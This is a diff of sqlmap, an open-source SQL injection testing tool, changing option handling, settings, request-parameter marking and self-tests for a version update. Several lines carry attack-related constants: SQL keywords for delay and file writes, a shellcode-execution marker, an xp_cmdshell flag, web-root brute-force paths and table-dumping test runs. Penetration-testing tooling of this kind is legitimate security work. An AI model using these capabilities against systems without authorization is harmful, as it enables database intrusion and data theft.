@@ -1595,7 +1640,7 @@ def _cleanupOptions():
         conf.delay = float(conf.delay)
 
     if conf.url:
-        conf.url = conf.url.strip()
+        conf.url = conf.url.strip().lstrip('/')
         if not re.search(r"\A\w+://", conf.url):
             conf.url = "http://%s" % conf.url
 
@@ -1788,7 +1833,6 @@ def _setConfAttributes():
     conf.path = None
     conf.port = None
     conf.proxyList = None
-    conf.resultsFilename = None
     conf.resultsFP = None
     conf.scheme = None
     conf.tests = []
@@ -1875,16 +1919,18 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.followSitemapRecursion = None
     kb.forcedDbms = None
     kb.forcePartialUnion = False
+    kb.forceThreads = None
     kb.forceWhere = None
     kb.futileUnion = None
     kb.heavilyDynamic = False
+    kb.headersFile = None
     kb.headersFp = {}
     kb.heuristicDbms = None
     kb.heuristicExtendedDbms = None
     kb.heuristicMode = False
     kb.heuristicPage = False
     kb.heuristicTest = None
-    kb.hintValue = None
+    kb.hintValue = ""
     kb.htmlFp = []
     kb.httpErrorCodes = {}
     kb.inferenceMode = False
@@ -1898,13 +1944,15 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.lastParserStatus = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "connError", "count", "handlers", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
     kb.maxConnectionsFlag = False
     kb.mergeCookies = None
+    kb.multipleCtrlC = False
     kb.negativeLogic = False
+    kb.normalizeCrawlingChoice = None
     kb.nullConnection = None
     kb.oldMsf = None
     kb.orderByColumns = None
@@ -1936,6 +1984,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.processUserMarks = None
     kb.proxyAuthHeader = None
     kb.queryCounter = 0
+    kb.randomPool = {}
     kb.redirectChoice = None
     kb.reflectiveMechanism = True
     kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
@@ -1971,6 +2020,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.threadException = False
     kb.tableExistsChoice = None
     kb.uChar = NULL
+    kb.udfFail = False
     kb.unionDuplicates = False
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
@@ -2169,6 +2219,13 @@ def _mergeOptions(inputOptions, overrideOptions):
         if hasattr(conf, key) and conf[key] is None:
             conf[key] = value
 
+            if conf.unstable:
+                if key in ("timeSec", "retries", "timeout"):
+                    conf[key] *= 2
+
+    if conf.unstable:
+        conf.forcePartial = True
+
     lut = {}
     for group in optDict.keys():
         lut.update((_.upper(), _) for _ in optDict[group])
@@ -2414,6 +2471,13 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.paramExclude:
+        try:
+            re.compile(conf.paramExclude)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
     if conf.crawlExclude:
         try:
             re.compile(conf.crawlExclude)
@@ -2457,6 +2521,10 @@ def _basicOptionValidation():
         errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.csrfMethod and not conf.csrfToken:
+        errMsg = "option '--csrf-method' requires usage of option '--csrf-token'"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.csrfToken and conf.threads > 1:
         errMsg = "option '--csrf-url' is incompatible with option '--threads'"
         raise SqlmapSyntaxException(errMsg)
@@ -2473,7 +2541,7 @@ def _basicOptionValidation():
         errMsg = "option '-d' is incompatible with switch '--tor'"
         raise SqlmapSyntaxException(errMsg)
 
-    if not conf.tech:
+    if not conf.technique:
         errMsg = "option '--technique' can't be empty"
         raise SqlmapSyntaxException(errMsg)
 

lib/core/optiondict.py

@@ -31,6 +31,7 @@ optDict = {
         "loadCookies": "string",
         "dropSetCookie": "boolean",
         "agent": "string",
+        "mobile": "boolean",
         "randomAgent": "boolean",
         "host": "string",
         "referer": "string",
@@ -38,7 +39,7 @@ optDict = {
         "authType": "string",
         "authCred": "string",
         "authFile": "string",
-        "ignoreCode": "integer",
+        "ignoreCode": "string",
         "ignoreProxy": "boolean",
         "ignoreRedirects": "boolean",
         "ignoreTimeouts": "boolean",
@@ -60,6 +61,7 @@ optDict = {
         "skipUrlEncode": "boolean",
         "csrfToken": "string",
         "csrfUrl": "string",
+        "csrfMethod": "string",
         "forceSSL": "boolean",
         "chunked": "boolean",
         "hpp": "boolean",
@@ -100,12 +102,13 @@ optDict = {
         "notString": "string",
         "regexp": "string",
         "code": "integer",
+        "smart": "boolean",
         "textOnly": "boolean",
         "titles": "boolean",
     },
 
     "Techniques": {
-        "tech": "string",
+        "technique": "string",
         "timeSec": "integer",
         "uCols": "string",
         "uChar": "string",
@@ -160,6 +163,7 @@ optDict = {
     "Brute": {
         "commonTables": "boolean",
         "commonColumns": "boolean",
+        "commonFiles": "boolean",
     },
 
     "User-defined function": {
@@ -196,10 +200,12 @@ optDict = {
 
     "General": {
         "trafficFile": "string",
+        "answers": "string",
         "batch": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
+        "cleanup": "boolean",
         "crawlDepth": "integer",
         "crawlExclude": "string",
         "csvDel": "string",
@@ -209,6 +215,7 @@ optDict = {
         "flushSession": "boolean",
         "forms": "boolean",
         "freshQueries": "boolean",
+        "googlePage": "integer",
         "harFile": "string",
         "hexConvert": "boolean",
         "outputDir": "string",
@@ -217,27 +224,24 @@ optDict = {
         "repair": "boolean",
         "saveConfig": "string",
         "scope": "string",
+        "skipWaf": "boolean",
         "testFilter": "string",
         "testSkip": "string",
-        "updateAll": "boolean",
+        "webRoot": "string",
     },
 
     "Miscellaneous": {
         "alert": "string",
-        "answers": "string",
         "beep": "boolean",
-        "cleanup": "boolean",
         "dependencies": "boolean",
         "disableColoring": "boolean",
-        "googlePage": "integer",
         "listTampers": "boolean",
-        "mobile": "boolean",
         "offline": "boolean",
         "purge": "boolean",
-        "skipWaf": "boolean",
-        "smart": "boolean",
+        "resultsFile": "string",
         "tmpDir": "string",
-        "webRoot": "string",
+        "unstable": "boolean",
+        "updateAll": "boolean",
         "wizard": "boolean",
         "verbose": "integer",
     },

lib/core/patch.py

@@ -9,27 +9,27 @@ import codecs
 
 import lib.controller.checks
 import lib.core.common
-import lib.core.threads
 import lib.core.convert
 import lib.core.option
+import lib.core.threads
 import lib.request.connect
 import lib.utils.search
 import lib.utils.sqlalchemy
 import thirdparty.ansistrm.ansistrm
 import thirdparty.chardet.universaldetector
 
-from lib.request.templates import getPageTemplate
-
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.common import isDigit
 from lib.core.common import isListLike
-from lib.core.common import singleTimeWarnMessage
 from lib.core.common import readInput
 from lib.core.common import shellExec
+from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import stdoutEncode
 from lib.core.option import _setHTTPHandlers
 from lib.core.option import setVerbosity
 from lib.core.settings import IS_WIN
+from lib.request.templates import getPageTemplate
 from thirdparty.six.moves import http_client as _http_client
 
 def dirtyPatches():
@@ -63,6 +63,7 @@ def resolveCrossReferences():
     Place for cross-reference resolution
     """
 
+    lib.core.threads.isDigit = isDigit
     lib.core.threads.readInput = readInput
     lib.core.common.getPageTemplate = getPageTemplate
     lib.core.convert.filterNone = filterNone

lib/core/profiling.py

@@ -6,8 +6,8 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
-import os
 import cProfile
+import os
 
 from lib.core.common import getSafeExString
 from lib.core.data import logger

lib/core/replication.py

@@ -7,13 +7,13 @@ See the file 'LICENSE' for copying permission
 
 import sqlite3
 
-from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import getSafeExString
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import UNICODE_ENCODING
+from lib.utils.safe2bin import safechardecode
 
 class Replication(object):
     """

lib/core/revision.py

@@ -38,11 +38,16 @@ def getRevisionNumber():
     while True:
         if filePath and os.path.isfile(filePath):
             with openFile(filePath, "r") as f:
-                content = f.read()
+                content = getText(f.read())
                 filePath = None
+
                 if content.startswith("ref: "):
-                    filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
-                else:
+                    try:
+                        filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    except UnicodeError:
+                        pass
+
+                if filePath is None:
                     match = re.match(r"(?i)[0-9a-f]{32}", content)
                     retVal = match.group(0) if match else None
                     break

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.6.0"
+VERSION = "1.3.11.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -46,10 +46,10 @@ DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9
 
 # Ratio used in heuristic check for WAF/IPS protected targets
-IDS_WAF_CHECK_RATIO = 0.5
+IPS_WAF_CHECK_RATIO = 0.5
 
 # Timeout used in heuristic check for WAF/IPS protected targets
-IDS_WAF_CHECK_TIMEOUT = 10
+IPS_WAF_CHECK_TIMEOUT = 10
 
 # Lower and upper values for match ratio in case of stable page
 LOWER_RATIO_BOUND = 0.02
@@ -240,7 +240,7 @@ IS_WIN = PLATFORM == "nt"
 IS_TTY = os.isatty(sys.stdout.fileno())
 
 # DBMS system databases
-MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
+MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
 ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
@@ -251,7 +251,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
-H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -296,7 +296,7 @@ BASIC_HELP_ITEMS = (
     "dbms",
     "level",
     "risk",
-    "tech",
+    "technique",
     "getAll",
     "getBanner",
     "getCurrentUser",
@@ -333,6 +333,9 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"
 
+# String representation for current user
+CURRENT_USER = "CU"
+
 # Name of SQLite file used for storing session data
 SESSION_SQLITE_FILE = "session.sqlite"
 
@@ -410,6 +413,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 # Character used for marking injectable position inside provided data
 CUSTOM_INJECTION_MARK_CHAR = '*'
 
+# Wildcard value that can be used in option --ignore-code
+IGNORE_CODE_WILDCARD = '*'
+
 # Other way to declare injection position
 INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
 
@@ -420,7 +426,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
 MAX_ERROR_CHUNK_LENGTH = 1024
 
 # Do not escape the injected statement if it contains any of the following SQL keywords
-EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
+EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
 
 # Mark used for replacement of reflected values
 REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
@@ -500,6 +506,9 @@ DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
 # Percentage below which comparison engine could have problems
 LOW_TEXT_PERCENT = 20
 
+# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases
+VERSION_COMPARISON_CORRECTION = 0.0001
+
 # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
 # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
 IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
@@ -537,11 +546,14 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 
 # Data inside shellcodeexec to be filled with random string
-SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
+SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
 # Period after last-update to start nagging about the old revision
 LAST_UPDATE_NAGGING_DAYS = 60
 
+# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
+MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
+
 # Generic address for checking the Internet connection while using switch --check-internet
 CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
 
@@ -648,6 +660,9 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
 MAX_TOTAL_REDIRECTIONS = 10
 
+# Maximum (deliberate) delay used in page stability check
+MAX_STABILITY_DELAY = 0.5
+
 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
 MAX_DNS_LABEL = 63
 
@@ -669,8 +684,8 @@ FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
 
-# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
-MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
+# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
+MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
 
 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
@@ -681,8 +696,8 @@ MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 # Maximum (multi-threaded) length of entry in bisection algorithm
 MAX_BISECTION_LENGTH = 50 * 1024 * 1024
 
-# Mark used for trimming unnecessary content in large chunks
-LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__"
+# Mark used for trimming unnecessary content in large connection reads
+LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__"
 
 # Generic SQL comment formation
 GENERIC_SQL_COMMENT = "-- [RANDSTR]"
@@ -709,7 +724,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -798,9 +813,6 @@ BRUTE_DOC_ROOT_PREFIXES = {
     OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
 }
 
-# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
-TAKEOVER_TABLE_PREFIX = "sqlmap"
-
 # Suffixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
 

lib/core/subprocessng.py

@@ -5,14 +5,16 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import errno
 import os
 import subprocess
 import time
 
 from lib.core.compat import buffer
+from lib.core.convert import getBytes
 from lib.core.settings import IS_WIN
-from thirdparty import six
 
 if IS_WIN:
     try:
@@ -98,7 +100,7 @@ class Popen(subprocess.Popen):
             except ValueError:
                 return self._close('stdin')
             except (subprocess.pywintypes.error, Exception) as ex:
-                if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
+                if ex.args[0] in (109, errno.ESHUTDOWN):
                     return self._close('stdin')
                 raise
 
@@ -119,7 +121,7 @@ class Popen(subprocess.Popen):
             except (ValueError, NameError):
                 return self._close(which)
             except (subprocess.pywintypes.error, Exception) as ex:
-                if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
+                if ex.args[0] in (109, errno.ESHUTDOWN):
                     return self._close(which)
                 raise
 
@@ -137,7 +139,7 @@ class Popen(subprocess.Popen):
             try:
                 written = os.write(self.stdin.fileno(), input)
             except OSError as ex:
-                if (ex[0] if six.PY2 else ex.errno) == errno.EPIPE:  # broken pipe
+                if ex.args[0] == errno.EPIPE:  # broken pipe
                     return self._close('stdin')
                 raise
 
@@ -191,6 +193,8 @@ def send_all(p, data):
     if not data:
         return
 
+    data = getBytes(data)
+
     while len(data):
         sent = p.send(data)
         if not isinstance(sent, int):

lib/core/target.py

@@ -48,18 +48,18 @@ from lib.core.exception import SqlmapMissingPrivileges
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.option import _setAuthCred
 from lib.core.option import _setDBMS
 from lib.core.option import _setKnowledgeBaseAttributes
-from lib.core.option import _setAuthCred
+from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
-from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
 from lib.core.settings import INJECT_HERE_REGEX
-from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
+from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
 from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import REFERER_ALIASES
@@ -111,7 +111,7 @@ def _setRequestParams():
         def process(match, repl):
             retVal = match.group(0)
 
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]):
+            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
                 retVal = repl
                 while True:
                     _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -121,11 +121,12 @@ def _setRequestParams():
                         break
                 if kb.customInjectionMark in retVal:
                     hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
+
             return retVal
 
         if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
-            message += "'--data'. Do you want to process it? [Y/n/q] "
+            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
+            message += "body. Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
@@ -150,12 +151,13 @@ def _setRequestParams():
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
-                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
-                    if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
-                        _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
-                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
+                    for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
+                        if not (conf.testParameter and match.group("name") not in conf.testParameter):
+                            _ = match.group(2)
+                            if kb.customInjectionMark not in _:  # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
+                                _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
+                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
+                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
 
                 kb.postHint = POST_HINT.JSON
 
@@ -458,11 +460,12 @@ def _resumeHashDBValues():
 
     for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
         if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
-            if not conf.tech or intersect(conf.tech, injection.data.keys()):
-                if intersect(conf.tech, injection.data.keys()):
-                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
+            if not conf.technique or intersect(conf.technique, injection.data.keys()):
+                if intersect(conf.technique, injection.data.keys()):
+                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique)
                 if injection not in kb.injections:
                     kb.injections.append(injection)
+                    kb.vulnHosts.add(conf.hostname)
 
     _resumeDBMS()
     _resumeOS()
@@ -558,16 +561,18 @@ def _setResultsFile():
         return
 
     if not conf.resultsFP:
-        conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        found = os.path.exists(conf.resultsFile)
+
         try:
-            conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
+            conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
         except (OSError, IOError) as ex:
             try:
-                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
+                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
+                handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
                 os.close(handle)
-                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
-                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
+                conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
+                warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
                 logger.warn(warnMsg)
             except IOError as _:
                 errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -576,16 +581,17 @@ def _setResultsFile():
                 errMsg += "create temporary files and/or directories"
                 raise SqlmapSystemException(errMsg)
 
-        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
+        if not found:
+            conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
 
-        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
+        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
 
 def _createFilesDir():
     """
     Create the file directory.
     """
 
-    if not conf.fileRead:
+    if not any((conf.fileRead, conf.commonFiles)):
         return
 
     conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname

lib/core/testing.py

@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import codecs
 import doctest
 import logging
@@ -34,6 +36,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
+from lib.core.data import queries
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNotVulnerableException
@@ -72,6 +75,7 @@ def vulnTest():
 
     for options, checks in (
         ("--flush-session", ("CloudFlare",)),
+        ("--flush-session --data='{\"id\": 1}' --banner", ("Payload: {\"id\"", "banner: '3")),
         ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
         ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
         ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
@@ -181,6 +185,27 @@ def smokeTest():
                 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
                 dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
+    def _(node):
+        for __ in dir(node):
+            if not __.startswith('_'):
+                candidate = getattr(node, __)
+                if isinstance(candidate, str):
+                    if '\\' in candidate:
+                        try:
+                            re.compile(candidate)
+                        except:
+                            errMsg = "smoke test failed at compiling '%s'" % candidate
+                            logger.error(errMsg)
+                            raise
+                else:
+                    _(candidate)
+
+    for dbms in queries:
